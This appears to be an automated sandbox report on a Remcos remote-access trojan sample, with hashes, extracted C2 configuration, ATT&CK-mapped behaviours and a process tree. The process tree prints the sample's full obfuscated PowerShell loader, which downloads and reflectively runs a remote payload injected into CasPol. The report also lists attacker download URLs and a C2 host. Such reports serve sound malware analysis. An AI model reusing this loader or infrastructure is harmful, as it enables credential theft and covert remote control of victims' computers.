remcos | 9c4b12f92fbde8c79f404703fe07576dc3b9a1a30052251e59dbc5d547dffc93

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-11-2024 07:39

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General

Target

createdbestthignswihtentiretimegivenmebestforever.vbs
Size

150KB
MD5

3703614d7a8cee78abec953fcb0971b6
SHA1

8bf58afd59612f71f4d767f402f166122a4b3470
SHA256

9c4b12f92fbde8c79f404703fe07576dc3b9a1a30052251e59dbc5d547dffc93
SHA512

25493a97a739389b11014bcb5d0c5a8c0cdc178e62594582c40ab13acf1654713108c75d9273172f7883dcc19e27ffe9803ea818e0c3ef3546a17d5e6a45bf02
SSDEEP

3072:OSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1MheSkcclGF+6kr/vfxM1Mh6:FkoF+7fx8MnkoF+7fx8MTkoF+7fx8MI

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432

exe.dropper

https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432

Extracted

Family

remcos

Botnet

RemoteHost

newbeggin.duckdns.org:2431

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-8FCP5S
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/2736-34-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1020-42-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3936-43-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/3936-43-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/2736-34-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
4	5016	powershell.exe
19	5016	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

CasPol.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
5016	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeCasPol.exe

description	pid	Process	procid_target
PID 5016 set thread context of 1672	5016	powershell.exe	91
PID 1672 set thread context of 2736	1672	CasPol.exe	92
PID 1672 set thread context of 3936	1672	CasPol.exe	95
PID 1672 set thread context of 1020	1672	CasPol.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

CasPol.exeCasPol.exeCasPol.exeCasPol.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exeCasPol.exeCasPol.exe

pid	Process
5016	powershell.exe
5016	powershell.exe
2736	CasPol.exe
2736	CasPol.exe
1020	CasPol.exe
1020	CasPol.exe
2736	CasPol.exe
2736	CasPol.exe

Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

CasPol.exe

pid	Process
1672	CasPol.exe
1672	CasPol.exe
1672	CasPol.exe
1672	CasPol.exe
1672	CasPol.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeCasPol.exe

description	pid	Process
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeDebugPrivilege	1020	CasPol.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WScript.exepowershell.exeCasPol.exe

description	pid	Process	procid_target
PID 1112 wrote to memory of 5016	1112	WScript.exe	82
PID 1112 wrote to memory of 5016	1112	WScript.exe	82
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 5016 wrote to memory of 1672	5016	powershell.exe	91
PID 1672 wrote to memory of 2736	1672	CasPol.exe	92
PID 1672 wrote to memory of 2736	1672	CasPol.exe	92
PID 1672 wrote to memory of 2736	1672	CasPol.exe	92
PID 1672 wrote to memory of 2736	1672	CasPol.exe	92
PID 1672 wrote to memory of 1876	1672	CasPol.exe	93
PID 1672 wrote to memory of 1876	1672	CasPol.exe	93
PID 1672 wrote to memory of 1876	1672	CasPol.exe	93
PID 1672 wrote to memory of 1700	1672	CasPol.exe	94
PID 1672 wrote to memory of 1700	1672	CasPol.exe	94
PID 1672 wrote to memory of 1700	1672	CasPol.exe	94
PID 1672 wrote to memory of 3936	1672	CasPol.exe	95
PID 1672 wrote to memory of 3936	1672	CasPol.exe	95
PID 1672 wrote to memory of 3936	1672	CasPol.exe	95
PID 1672 wrote to memory of 3936	1672	CasPol.exe	95
PID 1672 wrote to memory of 1020	1672	CasPol.exe	96
PID 1672 wrote to memory of 1020	1672	CasPol.exe	96
PID 1672 wrote to memory of 1020	1672	CasPol.exe	96
PID 1672 wrote to memory of 1020	1672	CasPol.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\createdbestthignswihtentiretimegivenmebestforever.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1672
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\eferxqlndirtshjeqgbsqdoiuwdnrttu"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2736
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzsb"
      4⤵
      PID:1876
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzsb"
      4⤵
      PID:1700
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzsb"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:3936
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rbxuzth"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n4ljcuux.scq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\eferxqlndirtshjeqgbsqdoiuwdnrttu

Filesize
4KB

MD5
7aca43b2800ceb18b3ed2326532545de

SHA1
d4cf207ef85bd749d59c1cb27a09c167ee21523a

SHA256
3d9f8622d97587fd84d3d0560a50ab38e5f894fe4b5bcaa34279643fdaaeb480

SHA512
0e002e6b8d965c227d9b1aa7c0251619c787ec7717e59667e756e5815e3666a955ea397eb148a1ed6bb7d8045727e4efa656a103f14bc70a03b03f0c91283c2f

Download Submit
memory/1020-42-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1020-39-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1020-41-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1672-51-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-28-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-17-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-20-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-21-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-59-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-24-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-23-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-25-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-27-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-50-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1672-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-49-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1672-46-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1672-58-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-56-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-57-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-55-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-54-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1672-52-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/2736-32-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2736-34-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2736-33-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3936-43-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3936-38-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3936-40-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/5016-0-0x00007FFFCD2F3000-0x00007FFFCD2F5000-memory.dmp

Filesize
8KB

Download
memory/5016-1-0x0000020845F70000-0x0000020845F92000-memory.dmp

Filesize
136KB

Download
memory/5016-11-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

Filesize
10.8MB

Download
memory/5016-12-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

Filesize
10.8MB

Download
memory/5016-14-0x00007FFFCD2F3000-0x00007FFFCD2F5000-memory.dmp

Filesize
8KB

Download
memory/5016-13-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

Filesize
10.8MB

Download
memory/5016-22-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

Filesize
10.8MB

Download
memory/5016-16-0x0000020856F50000-0x00000208570A8000-memory.dmp

Filesize
1.3MB

Download
memory/5016-15-0x00007FFFCD2F0000-0x00007FFFCDDB1000-memory.dmp

Filesize
10.8MB

Download